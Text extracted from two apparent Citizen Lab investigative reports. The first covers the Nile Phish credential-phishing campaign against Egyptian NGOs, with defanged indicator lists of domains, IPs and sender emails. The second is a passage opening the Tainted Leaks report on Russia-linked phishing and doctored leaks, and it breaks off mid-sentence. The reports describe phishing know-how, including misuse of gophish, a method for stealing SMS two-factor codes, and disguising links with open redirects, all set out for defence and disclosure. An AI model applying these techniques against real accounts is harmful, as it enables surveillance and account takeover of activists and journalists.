+The campaign falls into two phases, which map both onto phishing style, and to different server infrastructure (See: Nile Phish Infrastructure)
+What is Phishing?
+Phishing is a tactic to steal personal information, like passwords, through deception. Many phishing emails often try to trick you into entering
+passwords and other secret codes into websites that look legitimate, but are really fake.
+While phishing can be used by criminal gangs to steal bank information and for other financial crimes, phishing is also used for espionage and
+surveillance. For example, the Nile Phish operation seems to be designed to gain access to email accounts and document sharing files
+belonging to NGOs.
+Phase 1: Arrest warrants, invitations, and travel ban lists
+Late November- Late December 2016
+In the first phase of the phishing (approximately November 24-December 26, 2016) a majority of the messages were crafted with references
+to the ongoing crackdown on civil society, and especially Case 173. Typically, the messages masqueraded as document shares, primarily via
+Google or Dropbox, containing highly relevant or sensitive information.
+The following example of a phishing email that leveraged a recent arrest of a prominent Egyptian lawyer as a lure, illustrates that the phishing
+was both extremely timely, and conducted by those well aware of the activities of the Egyptian government. Specifically, it suggests that within
+a few hours of an arrest, the operator of the campaign was using this event as part of their phishing attack.
+An Arrest Becomes Phishing
+On December 7, 2016 prominent Egyptian lawyer and the Director of the Center for Women
+s Legal Assistance Azza Soliman was arrested at
+her home. Within hours, while Soliman was still being interrogated at the police station, several of her colleagues in other NGOs received an
+email purporting to be a Dropbox share of her arrest warrant. (See: Figure 1).
+3/14
+Figure 1. Phishing email purporting to share 
+Arrest Warrant Against Azza Soliman.pdf
+Clicking on the link leads to a Dropbox credential phishing page pre-populated with the target
+s username.
+Figure 2: A fake Dropbox login page pre-populated with the identity of the target.
+A majority of the Phase 1 messages concerned the court case, and were typically sent to targets
+ organizational emails. Where targets were
+independent activists, we also found targeting of their personal email accounts.
+Example Domains from Phase 1 Phishing
+Theme
+Pretext
+Some Targeted
+NGOs
+Example Domains
+Trial
+related
+Share of travel ban list
+EIPR
+dropboxsupport.servehttp[.]com
+Trial
+related
+Arrest warrant of an activist arrested on the
+same day
+Nadeem
+dropbox-service.serveftp[.]com, googledriversign.ddns[.]net
+Trial
+related
+Panel invitation to discuss the case
+[unnamed group]
+mailgooglesign.servehttp[.]com
+Trial
+related
+NGO letter to the Egyptian President about
+the case
+CIHRS
+dropbox-sign.servehttp[.]com
+4/14
+A majority of the messages were sent using Gmail accounts with names that look like legitimate services. This approach does not hold up to
+close scrutiny of the sender
+s email addresses, but also allows the message to be sent via a sender known to Gmail, and thus not flagged by
+Gmail as sent over an insecure connection.
+Masquerading As
+Lookalike Email
+Dropbox
+Gmail
+customerserviceonlineteam@gmail.com,
+dropbox.notfication@gmail.com,dropbox.notifications.mails@gmail.com,
+dropbox.noreplay@gmail.com
+drive.noreply.mail@gmail.com,secure.policy.check@gmail.com
+(Phase 2)
+Phase 2: A Tactical Shift
+Mid-December 
+ January 31st 2016 (ongoing)
+When we began systematically tracking the campaign in late November 2016 almost all of the messages we observed concerned issues
+related to Case 173, as well as being personalized to the recipient. This approach continued until late December. However, by mid-December,
+we began observing a growing number of generic phishing messages, mostly emphasizing account security issues.
+Here is an example of such a 
+generic,
+ but still personalized message.
+Figure 3: Fake Gmail failed login warning message
+These messages, while still personalized with users
+ names, relied on a range of common phishing tactics, such as warnings of suspicious
+login attempts, and other account security issues. In a few cases, the operators also included package-delivery notifications. After December
+26, we no longer observed any personalized messages. This shift maps onto changes in server infrastructure (see: Nile Phish Infrastructure).
+Example Domains from Phase 2 Phishing
+5/14
+Theme
+Pretext
+Some Targeted NGOs
+Example Domains
+Gmail
+Phishing
+Failed login,
+insecure
+connection,
+EIPR, AFTE, CIHRS, Nazra, ECRF,
+a prominent journalist
+googleverify-signin.servehttp[.]com,
+googlesignin.servehttp[.]com, securitymyaccount.servehttp[.]com
+It is unclear why Nile Phish operators wound-down their use of Case 173 themes as the campaign went on. It is possible, for example, that
+they began to suspect that the targets were wary of such messages. It is equally possible that they simply decided to scale back some of their
+efforts, and rely more heavily on the pre-built examples in the toolkit they used. It is also possible that this represents a fluke either in how the
+messages were collected, or a pause on the part of the operators.
+The final possibility is that Nile Phish is a component of a larger operation, and that the operators may intend to continue to use tailored social
+engineering for other purposes, such as delivering malware.
+Artefacts: Egyptian Chat Slang
+While examining the credential landing pages we also found messages and comments that the Nile Phish operators had left for each other.
+The writing is instantly recognizable as a form of Egyptian Arabic slang (mixing letters and characters) sometimes referred as Araby.
+Highlighted text: 
+Will remove the cookies from here and point it to our server
+Highlighted text: 
+Here we will insert the default username page
+Highlighted text: 
+And here too take care
+Nile Phish Using Open-Source Phishing Toolkit
+Nile Phish mounted this campaign with gophish, an open-source phishing framework written in the Go language.
+The gophish framework is intended to be used defensively, as part of anti-phishing trainings. This is the first offensive use of gophish of which
+we are aware. Its developer describes it as 
+designed for businesses and penetration testers. It provides the ability to quickly and easily
+setup and execute phishing engagements and security awareness training.
+ Support for capturing credentials submitted on phishing pages
+was added to gophish in February 2016.
+6/14
+The growing number of open-source and widely available phishing frameworks designed for penetration testing have made it easy to set up a
+phishing campaign. While some free and hosted phishing frameworks require a degree of authentication onto a particular domain, such as the
+online Duo Insight, many that are self-hosted do not. The lack of authentication, while minimizing invasiveness and protecting user privacy, is
+also a double-edged sword, and means that it can be abused to conduct non-consensual and illegal phishing campaigns.
+Discovery and Identification
+Examination of the phishing infrastructure provided evidence of artefacts from a cloned git repository, suggesting that this was a likely from a
+project on Github. This led us to conclude that the operators were likely making use of an existing phishing framework. Further investigation
+revealed that the domains were serving the gophish admin page on port 7777, and the scheme of the phishing URLs matched those of
+gophish.
+Figure 4: Screenshot of gophish admin interface
+Gophish links have a common format, which can be used to quickly identify a link sent via the platform.
+Gophish link
+http://[domain]/?rid=[target identifier string]
+Contact with Gophish
+Citizen Lab contacted Jordan Wright, the developer of Gophish and provided examples of the links used in the campaign. Wright provided us
+the following response:
+The links have the same structure as those sent in a Gophish campaign and there are Gophish administrative portals available on those
+hosts.
+Gophish is designed to help administrators test their organization
+s exposure to phishing. By running phishing tests against one
+s own
+organization, the hope is that members of the organization will be better at spotting and avoiding phishing emails in the future, mitigating
+attacks like this.
+The Gophish team does not condone using the software for any purpose other than running controlled tests to measure your own
+organization
+s exposure to phishing. While we cannot control users and prevent all misuse of the software, we will continue taking any
+measures possible to prevent this kind of abuse in the future.
+Nile Phish Infrastructure
+The campaign
+s operators used commercial web hosting located in Europe ( Choopa and AlexHost) to host the campaign. They have shown
+evidence of basic operational security practices, including server compartmentation between Phase 1 and Phase 2. Nevertheless, in what
+appears to have been a mistake, one domain resolved to servers from both phases at different times.
+7/14
+Using passive DNS analysis tools including PassiveTotal, we were able to further characterize the infrastructure, and how it was used
+throughout Phase 1 and Phase 2 of the campaign. We also identified an additional 13 domains through passive DNS research, indicating that
+the campaign may include a range of other targets not uncovered in our investigation.
+Phase 1 Infrastructure
+Using passive DNS we found that Phase 1 included at least six domains, all hosted on 108.61.176[.]96.
+googledrive-sign.servehttp[.]com
+dropboxsupport.servehttp[.]com
+googledriver-sign.ddns[.]net
+dropbox-service.serveftp[.]com
+dropbox-sign.servehttp[.]com
+mailgooglesign.servehttp[.]com
+Phase 2 Infrastructure
+The second phase of the campaign included at least 16 domains, hosted on IPs 104.238.191[.]204 and 176.123.26[.]42.
+fedex-shipping.servehttp[.]com
+verification-acc.servehttp[.]com
+google-maps.servehttp[.]com
+fedex-mail.servehttp[.]com
+secure-team.servehttp[.]com
+account-google.serveftp[.]com
+googleverify-signin.servehttp[.]com
+googlesecure-serv.servehttp[.]com
+googlesignin.servehttp[.]com
+security-myaccount.servehttp[.]com
+myaccount.servehttp[.]com
+activate-google.servehttp[.]com
+googlemaps.servehttp[.]com
+device-activation.servehttp[.]com
+aramex-shipping.servehttp[.]com
+fedex-sign.servehttp[.]com
+Additional Domains
+Through passive DNS research, we identified 13 additional domains using the same dynamic DNS server and IP addresses.
+dropbox-verfy.servehttp[.]com
+fedex-s.servehttp[.]com
+watchyoutube.servehttp[.]com
+moi-gov.serveftp[.]com
+verification-team.servehttp[.]com
+securityteam-notify.servehttp[.]com
+secure-alert.servehttp[.]com
+quota-notification.servehttp[.]com
+notification-team.servehttp[.]com
+fedex-notification.servehttp[.]com
+docs-mails.servehttp[.]com
+restricted-videos.servehttp[.]com
+dropboxnotification.servehttp[.]com
+Linking the Infrastructure
+While the operators maintained a degree of compartmentation between domains, we found that the domain fedex-sign.servehttp[.]com
+resolved to both Phase 1 and Phase 2 infrastructure.
+Domain
+Resolution
+Until
+Infrastructure Belongs to
+fedex-sign.servehttp[.]com
+108.61.176[.]96
+13 December 2017
+Phase 1
+8/14
+104.238.191[.]204
+19 December 2017
+Phase 2
+Phishing: The Royal Road to Account Compromise
+Reporting on targeted threats often gets attention because of the sophistication of the attackers
+ tools, yet by volume many successful attacks
+use much less advanced technology. The recent case of an iOS zero day used against UAE and Mexican civil society represents a relatively
+sophisticated and expensive attack vector. While such an operation is costly and relatively difficult to detect, many operations that we have
+observed at the Citizen Lab use much less sophisticated technical means.
+In this report we described how the Nile Phish operators used targeted, timely, and clever deceptions combined with an open-source phishing
+framework.
+Why Do Many Threat Actors Still Use Credential Phishing?
+While we cannot know Nile Phish operators
+ reasons for choosing phishing, assuming they have access to other techniques, we can
+speculate that they used social engineering because it works. A phishing campaign has a number of advantages, even for operators capable
+of obtaining expensive and sophisticated malware. Indeed, even in cases where the same operators may also possess and deploy malware.
+As an exercise, the following table emphasizes some of the advantages of phishing as a technique to gain access to private communications
+when used by a well resourced actor. The table highlights some of the reasons why such actors may continue to use phishing.
+Credential Phishing: Why it keeps being used as a surveillance tool
+Concern
+Credential Phishing
+Cost / Skill
+Zero or near-zero development cost. Can be deployed with little or no technical skills.
+Scalability
+High. Easily deployed against dozens, thousands, or more targets.
+Adaptability
+High. Domains and emails can be quickly modified if a particular approach is not working.
+Risk of
+burning
+expensive
+tools and
+methods
+Low. Phishing can be conducted using free and open-source toolkits. Discovery does not result in the compromise of
+special technical tools, costly exploits, or malware
+Attribution
+Debateable. Like the use of Commercial-Off-The-Shelf (COTS) malware, phishing does not instantly point to a particular
+type of actor, such as a government, as many malicious actors use this technique. Discovery of a tool like NSO Group
+Pegasus or Hacking Team
+s Remote Control System, on the other hand, strongly implies state involvement, as they are
+marketed for lawful intercept purposes and the cost of procuring those tools precludes those without significant resources
+from acquiring them. Moreover, finding phishing may not alert the target that a sophisticated attacker is present.
+Diverse
+target
+environment
+Phishing does not require knowledge of a target
+s devices, antivirus, or other endpoint security features. Nor does it
+require a means to bypass these, such as an exploit, in order to gain access to targeted communications.
+Gathering
+relevant
+data
+Email and online accounts often contain huge troves of data which, when compromised, can quickly be siphoned out of
+accounts remotely.
+In using phishing, Nile Phish operators are far from alone. Citizen Lab reports have repeatedly pointed out that many operators, including
+those with access to more sophisticated technologies, persist in phishing and other forms of basic social engineering.
+For example, in South America, the Packrat group, which was active against civil society in several countries, made use of credential phishing
+as part of its multi-year campaign. Similarly, operations targeting the Tibetan diaspora have also made use of phishing, as have operations
+targeting the Syrian opposition, Iranian pro-democracy organizations, and many others.
+Cheap Ways to Make Phishing NGOs Harder
+Civil society groups make widespread use of cloud email services, file sharing and collaboration tools. These services are exceptionally
+helpful to organizations that do not have the resources to maintain or secure self-hosted deployments. Many of these cloud services have
+powerful security features, like 2-factor authentication, that are capable of blunting the impact of straightforward credential phishing. However,
+9/14
+most of these security features are not enabled by default, whether for individual users of cloud services, or for organizations. The absence of
+default-on security features predictably leads to a lower rate of use, and keeps the door open for phishing.
+What is Two Factor Authentication? Two Factor Authentication has many names, like 2 Step Authentication, Login Approvals, 2FA, and so
+on, but they typically refer to the same thing: combining a password with a second 
+factor
+ that only the authorized user has. Most commonly
+this is a text message sent to the user
+s phone. Other versions include physical tokens, code generators, authenticator apps or prompts on
+devices, and so on.
+Click here for a list of services that support Two Factor Authentication.
+From the perspective of an NGO however, several approaches are available to increase the cost of phishing, including using more secure
+forms of 2 Factor Authentication. As a next-level step, organizations can also implement phishing / social engineering awareness exercises.
+Increase the Cost to Phish an NGO
+Anti-Phishing
+Technique
+Works on
+Limitations
+2 Factor
+Authentication
+with
+Authenticator
+Apps or
+Yubikeys
+Account security, means
+that even if credentials are
+phished a second factor is
+still required.
+2 Factor Authentication can still be phished in some circumstances, such as tricking
+victims into entering codes from authenticator apps, although deceptions must be
+more elaborate. Does not protect against some malware attacks that steal two factor
+codes from devices.
+Phishing
+Training
+Human behavior,
+increasing the likelihood
+that phishing is noticed.
+Can be time consuming, and requires organizational buy-in. While free tools like Duo
+Insight are available, other solutions can be expensive.
+Using Secure 2 Factor Authentication
+The most common form of 2 Factor authentication is to receive SMS messages. Although a growing number of threat actors are
+experimenting with phishing 2 Factor credentials, and tampering with SMS-based authentication, including in Egypt, when implemented
+securely the feature is a low-cost way to dramatically increase the cost-to-phish.
+One way to increase the security of 2 Factor authentication is to move away from SMS-based authentication to Authenticator Apps or, even
+more secure, Yubikeys. Both Google and, most recently Facebook, now support Yubikeys for authentication.
+Next Level: Behavioral Training
+Phishing exploits vulnerabilities that will always be present in human behavior. When a phishing campaign like Nile Phish targets an
+organization, the operators do not expect that everyone will be duped. One compromise is enough to begin siphoning private data, and to start
+using that data to construct more convincing phishing or malware attacks against others in an organization.
+There is a growing consensus that repeated training with mock-phishing exercises, in the form of realistic phishing e-mails sent by the
+organization
+s IT staff, can be an effective way to build an organization
+human firewall.
+ There are a number of free tools that NGOs can use
+to conduct these exercises, including Duo Insight. Ironically, Gophish is another such tool, although it requires slightly more technical
+sophistication to implement. Many other solutions are available, many of them commercial. While not every organization will be able to
+implement behavioral training, it is a free and highly effective strategy for reducing institutional exposure to phishing attacks and social
+engineering.
+What Technology Companies Can Do Right Now
+Major online companies have been reluctant to add 2 Factor Authentication as a default for new account creation. Keeping 2 Factor an opt-in
+security feature, rather than opt-out means that most users will not enable it. No exact numbers are publicly available about 2 Factor adoption
+rates, but if it looks like other opt-in choices (e.g. seat belts before being made mandatory), it is unlikely to be adopted by a majority of users.
+While there are trade-offs to enabling 2 factor as a default (e.g. costs to account recovery and friction in user experience), reports like this
+one make it clear that credential phishing will continue to be widely practiced by a range of threat actors against some of the most vulnerable
+user groups.
+Conclusion: Nile Phish is yet another threat to Egypt
+s Civil Society
+Egyptian NGOs have faced a sprawling legal case that is in its fifth year. The case has resulted in arrests, travel bans, asset freezes, and
+10/14
+prison sentences. Almost all of the 92 phishing emails we have identified were sent to individuals implicated in Case 173, either as named
+defendants, or staff of targeted NGOs.
+We do not attribute Nile Phish to a sponsor in this report, but it is clear that it is yet another component of the increasingly intense pressure
+faced by Egyptian civil society. By exposing the Nile Phish operation, including providing more technical indicators, we hope to help potential
+targets and other investigators identify and mitigate the campaign.
+Evidence of 2 Factor Phishing
+Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets. These targets provided us with a range of
+evidence for additional activities by Nile Phish. Importantly, it also appears that Nile Phish has engaged in phishing users of 2 factor
+authentication. The following illustration describes this process.
+11/14
+Diagram explaining how Nile Phish operators phish users who have enabled 2 factor authentication. [Click for hi res]
+The phishing works in this case by tricking the victim into entering both their password and their two factor code. First, the victim is phished by
+Nile Phish using a deception similar to those described in the report. If the victim is tricked into providing their password, Nile Phish sends the
+victim a message with a link to a 2-factor code phishing page, then the operators type the stolen password into Gmail. They then request
+SMS as an Alternative Verification method. Gmail then sends the victim an SMS with a six digit code. If the victim enters the SMS into the
+12/14
+code phishing page, the operators use the code to log into gmail to take control of the account.
+Acknowledgements
+Very special thanks to Citizen Lab colleagues including Ron Deibert, Claudio Guarnieri, Sarah McKune, Ned Moran, Masashi Crete-Nishihata,
+Irene Poetranto, Adam Senft, and Amitpal Singh.
+Citizen Lab also thanks T. Nebula, unnamed security researchers, TNG, and Internews.
+Appendix A Indicators of Targeting
+Download the indicators from the Citizen Lab Github.
+The operators used at least 33 domains for this phishing attack, the following table provides examples.
+Theme
+Example Domain
+Google
+googledrive-sign.servehttp[.]com, googledriver-sign.ddns[.]net, mailgooglesign.servehttp[.]com, googlemaps.servehttp[.]com, account-google.serveftp[.]com, googleverify-signin.servehttp[.]com, googlesecureserv.servehttp[.]com, googlesignin.servehttp[.]com, activate-google.servehttp[.]com, googlemaps.servehttp[.]com
+Dropbox
+dropboxsupport.servehttp[.]com, dropbox-service.serveftp[.]com, dropbox-sign.servehttp[.]com
+Generic
+verification-acc.servehttp[.]com, secure-team.servehttp[.]com, security-myaccount.servehttp[.]com,
+myaccount.servehttp[.]com, device-activation.servehttp[.]com
+Shipping
+fedex-shipping.servehttp[.]com, fedex-mail.servehttp[.]com, fedex-sign.servehttp[.]com, aramex-shipping.servehttp[.]com
+Full list of Domains
+account-google.serveftp[.]com
+aramex-shipping.servehttp[.]com
+device-activation.servehttp[.]com
+dropbox-service.serveftp[.]com
+dropbox-sign.servehttp[.]com
+dropboxsupport.servehttp[.]com
+fedex-mail.servehttp[.]com
+fedex-shipping.servehttp[.]com
+fedex-sign.servehttp[.]com
+googledriver-sign.ddns[.]net
+googledrive-sign.servehttp[.]com
+google-maps.servehttp[.]com
+googlesecure-serv.servehttp[.]com
+googlesignin.servehttp[.]com
+googleverify-signin.servehttp[.]com
+mailgooglesign.servehttp[.]com
+myaccount.servehttp[.]com
+secure-team.servehttp[.]com
+security-myaccount.servehttp[.]com
+verification-acc.servehttp[.]com
+dropbox-verfy.servehttp[.]com
+fedex-s.servehttp[.]com
+watchyoutube.servehttp[.]com
+verification-team.servehttp[.]com
+securityteam-notify.servehttp[.]com
+secure-alert.servehttp[.]com
+quota-notification.servehttp[.]com
+notification-team.servehttp[.]com
+fedex-notification.servehttp[.]com
+docs-mails.servehttp[.]com
+restricted-videos.servehttp[.]com
+dropboxnotification.servehttp[.]com
+13/14
+moi-gov.serveftp[.]com
+activate-google.servehttp[.]com
+googlemaps.servehttp[.]com
+108.61.176[.]96
+104.238.191[.]204
+176.123.26[.]42
+Emails
+secure.policy.check[@]gmail.com
+aramex.shipment[@]gmail.com
+fedex_tracking[@]outlook.sa
+mails.acc.noreply[@]gmail.com
+fedex.noreply[@]gmail.com
+customerserviceonlineteam[@]gmail.com
+fedexcustomers.service[@]gmail.com
+elnadeem.org[@]gmail.com
+dropbox.noreplay[@]gmail.com
+mails.noreply.verify[@]gmail.com
+fedex.mails.shipping[@]gmail.com
+dropbox.notifications.mails[@]gmail.com
+dropbox.notfication[@]gmail.com
+drive.noreply.mail[@]gmail.com
+14/14
+Tainted Leaks Disinformation and Phishing With a Russian
+Nexus
+citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/
+May 25, 2017
+Every external operation is first and foremost a domestic one: the single most important role of
+the agencies is to secure the regime.
+ Mark Galeotti on Russian foreign intelligence
+Key Points
+Documents stolen from a prominent journalist and critic of the Russian government were
+manipulated and then released as a 
+leak
+ to discredit domestic and foreign critics of the
+government. We call this technique 
+tainted leaks.
+The operation against the journalist led us to the discovery of a larger phishing
+operation, with over 200 unique targets spanning 39 countries (including members of 28
+governments). The list includes a former Russian Prime Minister, members of cabinets
+from Europe and Eurasia, ambassadors, high ranking military officers, CEOs of energy
+companies, and members of civil society.
+After government targets, the second largest set (21%) are members of civil society
+including academics, activists, journalists, and representatives of non-governmental
+organizations.
+We have no conclusive evidence that links these operations to a particular Russian
+government agency; however, there is clear overlap between our evidence and that
+presented by numerous industry and government reports concerning Russian-affiliated
+threat actors.
+Summary
+This report describes an extensive Russia-linked phishing and disinformation campaign. It
+provides evidence of how documents stolen from a prominent journalist and critic of Russia
+was tampered with and then 
+leaked
+ to achieve specific propaganda aims. We name this
+technique 
+tainted leaks.
+ The report illustrates how the twin strategies of phishing and tainted
+leaks are sometimes used in combination to infiltrate civil society targets, and to seed mistrust
+and disinformation. It also illustrates how domestic considerations, specifically concerns about
+regime security, can motivate espionage operations, particularly those targeting civil society.
+The report is organized into four parts described below:
+1/43
+PART 1: HOW TAINTED LEAKS ARE MADE describes a successful phishing campaign
+against David Satter, a high-profile journalist. We demonstrate how material obtained during
+this campaign was selectively released with falsifications to achieve propaganda aims. We
+then highlight a similar case stemming from an operation against an international grantmaking
+foundation, headquartered in the United States, in which their internal documents were
+selectively released with modifications to achieve a disinformation end. These 
+tainted leaks
+were demonstrated by comparing original documents and emails with what Russia-linked
+groups later published. We conclude that the tainting likely has roots in Russian domestic
+policy concerns, particularly around offsetting and discrediting what are perceived as 
+outside
+foreign
+ attempts to destabilize or undermine the Putin regime.
+PART 2: A TINY DISCOVERY describes how the operation against Satter led us to the
+discovery of a larger phishing operation, with over 200 unique targets. We identified these
+targets by investigating links created by the operators using the Tiny.cc link shortening service.
+After highlighting the similarities between this campaign and those documented by previous
+research, we round out the picture on Russia-linked operations by showing how related
+campaigns that attracted recent media attention for operations during the 2016 United States
+presidential election also targeted journalists, opposition groups, and civil society.
+PART 3: CONNECTIONS TO PUBLICLY REPORTED OPERATIONS outlines the
+connections between the campaigns we have documented and previous public reporting on
+Russia-linked operations. After describing overlaps among various technical indicators, we
+discuss the nuance and challenges surrounding attribution in relation to operations with a
+Russian nexus.
+PART 4: DISCUSSION explores how phishing operations combined with tainted leaks were
+paired to monitor, seed disinformation, and erode trust within civil society. We discuss the
+implications of leak tainting and highlight how it poses unique and difficult threats to civil
+society. We then address the often-overlooked civil society component of nation-state cyber
+espionage operations.
+Introduction: Tainted Leaks & Civil Society Targets
+Russia-linked cyber espionage campaigns, particularly those involving targeting around the
+2016 U.S. elections, and more recently the 2017 French election, have dominated the media in
+recent months. As serious as these events are, often overlooked in both media and industry
+reports on cyber espionage is a critical and persistent victim group: global civil society.
+A healthy, fully-functioning, and vibrant civil society is the antithesis of non-democratic rule,
+and as a consequence, powerful elites threatened by their actions routinely direct their
+powerful spying apparatuses toward civil society to infiltrate, anticipate, and even neutralize
+their activities. Unlike industry and government, however, civil society groups typically lack
+resources, institutional depth, and capacity to deal with these assaults. For different reasons,
+they also rarely factor into threat industry reporting or government policy around cyber
+espionage, and can be the silent, overlooked victims.
+2/43
+As with previous Citizen Lab reports, this report provides further evidence of the 
+silent
+epidemic
+ of targeted digital attacks on civil society, in this case involving widely reported
+Russian-affiliated cyber espionage operations. Our report underscores the domestic roots of
+these foreign operations, and how concerns over regime security and domestic legitimacy can
+factor into Russian threat modeling and espionage targeting, both at home and abroad.
+Patient Zero for the Investigation: David Satter
+Our investigation began with a single victim: David Satter, a high-profile journalist, Rhodes
+Scholar, and critic of the Kremlin. In 2013, Satter was banned from Russia, allegedly for
+flagrant violations
+ of visa laws, but which most attribute to his investigative reporting on
+Russian autocracy. Satter is known for his book, Darkness at Dawn, which investigated the
+possible 1999 conspiracy involving the Russian Federal Security Service (FSB) in a series of
+bombings of Russian apartment buildings that was used as a justification for the second
+Chechen War and which facilitated the rise to power of Vladimir Putin.
+On October 7, 2016 Satter fell victim to a targeted phishing campaign, and mistakenly entered
+his password on a credential harvesting site. Satter
+s e-mails were stolen and later published
+selectively, and with intentional falsifications, as we will describe in this report. While we cannot
+conclusively attribute the theft of Satter
+s emails to one particular threat actor, nor do we have
+concrete details on the process by which his stolen emails were falsified and made their way
+into the public domain, we uncover and analyze several pieces of evidence to help
+contextualize the tainted leaks, while at the same time linking the infiltration of his email to a
+much wider cyber espionage campaign that has a Russian nexus.
+Tainted Leaks: Disinformation 2.0
+Following the compromise of his account, Satter
+s stolen e-mails were selectively modified,
+and then 
+leaked
+ on the blog of CyberBerkut, a self-described pro-Russian hacktivist group.
+This report introduces the term 
+tainted leaks
+ to describe the deliberate seeding of false
+information within a larger set of authentically stolen data.
+We examine in detail how a report sent to the National Endowment for Democracy (NED)
+about Radio Liberty
+s Russian investigative reporting project (contained in the emails stolen
+from Satter) was carefully modified with false information prior to being released. We show
+how this manipulation created the false appearance that prominent Russian anti-corruption
+figures, including Alexei Navalny, were receiving foreign funding for their activities. (Alexei
+Navalny is a well-known Russian anti-corruption activist and opposition figure). We also note
+how the document was used in an effort to discredit specific reports about corruption among
+close associates of Russian President Vladimir Putin.
+In addition, whoever tainted the document also made reference to an article that had not yet
+been published at the time the document was 
+leaked.
+ This timing strongly suggests advance
+knowledge of the publication of an upcoming piece of investigative journalism concerning
+3/43
+senior Russian officials and businessmen. Such information is likely to have been sensitive,
+and would not have been widely known. This may suggest that the operators had access to
+other, ongoing surveillance operations.
+Once the tainted leak was released, Russian state-owned media and others reported that the
+document showed a CIA-backed conspiracy to start a 
+colour revolution
+ in Russia.1 The
+tainted leak was also reported as evidence that the reports on corruption within Putin
+s inner
+circle represented part of a deliberate disinformation campaign on behalf of foreign interests.
+The timing and substance of the tainting coincides with reported fears among Putin and his
+close associates that revelations about their wealth and its sources could trigger protests and
+uprisings within Russia, like those lead by Navalny in recent months and years.
+Tainted leaks pose complex challenges to the victims of breaches, as well as representing a
+potent and troubling method of disinformation. Part 1 describes the leak tainting in greater
+detail, and Part 4: Discussion provides an analysis of the risks posed by the tactic.
+Pandora
+s Un-Shortening: High Value Targets Emerge
+While investigating the suspicious messages sent to Satter, we determined that Tiny.cc, the
+link-shortening service used by the operators to phish credentials, had predictable features
+that enabled us to discover some other links likely used by the same operators. We developed
+a technique to discover some of these links, and ultimately collected 223 malicious links
+representing 218 unique targets.2 We have been able to identify the real identity of
+approximately 85% of the targets. Of the set we identified, we found targets from at least 39
+countries.
+One thread that links the targets is that their professional activities connect them to issues
+where the Russian government has a demonstrated interest. In some cases, the targets are
+Russians, ranging from an ex-Prime Minister, to journalists who investigate corruption, to
+political activists. Many more targets are from, posted to, or involved in extractive industries in
+countries and areas where the Russian government has an economic and strategic interest,
+such as former Soviet states. Still others are likely to be working on issues on the other side
+of the negotiating table from Russia, whether as part of United Nations operations, NATO, or
+civil service. Perhaps unsurprisingly, one of the largest groups of targets are high-ranking
+military and government personnel and elected officials in Ukraine.
+4/43
+Figure 1: Map showing countries that targets of the phishing campaign are linked to [click
+for hi-res]
+In other cases, for instance, the wife of a military attache, individuals appear to be targeted
+because of their proximity to high value targets. In others, we have identified a large number of
+individuals who appear to be targeted because they received support, in the form of a
+fellowship, from a particular US-based grantmaker.
+Some notable target categories include:
+Politicians, public servants and government officials from Afghanistan, Armenia, Austria,
+Cambodia, Egypt, Georgia, Kazakhstan, Kyrgyzstan, Latvia, Peru, Russia, Slovakia,
+Slovenia, Sudan, Thailand, Turkey, Ukraine, Uzbekistan and Vietnam
+Diplomatic personnel from numerous embassies, up to and including ambassador level,
+as well as their family members
+Civil society members including very high profile critics of the Russian president, as well
+as journalists and academics
+Senior members of the oil, gas, mining, and finance industries of the former Soviet states
+United Nations officials
+Military personnel from Albania, Armenia, Azerbaijan, Georgia, Greece, Latvia,
+Montenegro, Mozambique, Pakistan, Saudi Arabia, Sweden, Turkey, Ukraine, and the
+United States, as well as NATO officials
+5/43
+The discovery of so many other targets provides us with a window into the campaign
+structure, and objectives (Part 2 outlines how we discovered the targets). After government
+targets, the second largest set (21%) are members of civil society like academics, activists,
+journalists, and representatives of non-governmental organizations.
+Figure 2: Some high-value targets
+who received phishing emails
+The Importance of Civil Society Targets
+The data presented in Figure 3 underscore the extent to which civil society groups are being
+targeted in numbers equivalent to those seen with the more classic 
+cyber espionage
+ sectoraligned targets such as military, government, and industry.
+Amongst the civil society targets, more than half were journalists, many of whom are
+prominent contributors to Russian language news outlets such as Vedomosti, Slon/Republic,
+Novaya Gazeta, and the BBC Russian Service.
+While providing a detailed analysis of the civil society targets or an outline of their areas of
+activity would undoubtedly jeopardize their privacy, we can safely reflect on two notable
+patterns that emerge from such an analysis.
+6/43
+The first is that, like our first subject David Satter, several individuals from the target list were
+known for their public efforts towards shining a light on the Russian government and its
+activities. From publishing articles that outline fraud or corruption, to general activism in
+support of electoral reform, many of the civil society targets seem to have been singled out for
+the perception that their actions could pose a threat to the Putin regime.
+Figure 3: Breakdown of discovered targets into broad categories
+Another notable commonality found during analysis of the civil society targets of these
+campaigns is the near perfect alignment between their areas of activity and the geopolitical
+conflicts in which Russia is a known or suspected belligerent, or party to the conflict.
+Specifically, the focus areas of the civil society targets span geographic boundaries, including
+conflict areas such as Syria, Afghanistan, Ukraine, and others.
+We also found that several dozen of the targeted individuals had as a thread in common that
+they had received a fellowship from a single funder focused on the region.
+Notification
+The large and diverse target group presented notification challenges. Our process for notifying
+potential victims involved the following considerations and steps:
+For targets affiliated with governments or government-affiliated organizations (such as
+NATO or the United Nations), or businesses in a particular country, we passed
+information on targets
+ names and email addresses to the relevant Computer Emergency
+Response Team (CERT)
+If many targets shared an organizational affiliation, but not a single employer, we
+contacted that organization and worked with them to notify the individuals
+7/43
+We also provided a full list of targets to the targets
+ e-mail provider.
+Part 1: How Tainted Leaks Are Made
+We examine how stolen materials from Satter
+s inbox were turned into tainted leaks and
+released by CyberBerkut, and then examine a similar operation against the Open Society
+Foundations.
+To make a clean comparison between real and fake, and illustrate exactly how tainting takes
+place, we obtained original, genuine documents and e-mails from David Satter, a victim of a
+breach, and compared them with the tainted versions. We then describe a prior case of tainted
+leaks: internal documents belonging to the Open Society Foundations were stolen, then later
+released with tainting similar to Satter
+s, also by CyberBerkut.3
+In both cases the breach victims were working with US-based organizations which had
+programs specializing in Russia. The tainting appeared to have two objectives: cause the
+programs to appear more subversive of Russia than they were, and discredit specific
+opposition individuals and groups critical of Russian President Putin and his confidants.
+The Case of David Satter
+On October 5, 2016, a phishing email was sent to the Gmail address of David Satter (See:
+Patient Zero: David Satter). This phishing email was crafted with a specific ruse designed to
+look like a security warning from Google, suggesting to the recipient that an unknown thirdparty has obtained their Gmail account password (see Figure 4).
+8/43
+Figure 4: Phishing Email 1, mimicking a genuine message from Google
+The phishing email is designed to trick the recipient into clicking on the 
+Change Password
+button. Clicking on this link would direct the victim
+s web browser to a link hosted on the URL
+shortening service Tiny.cc. The operator disguised the link by using an open redirect hosted by
+Google. This open redirect allowed the operators to create a URL that, superficially, appears to
+be hosted by Google:
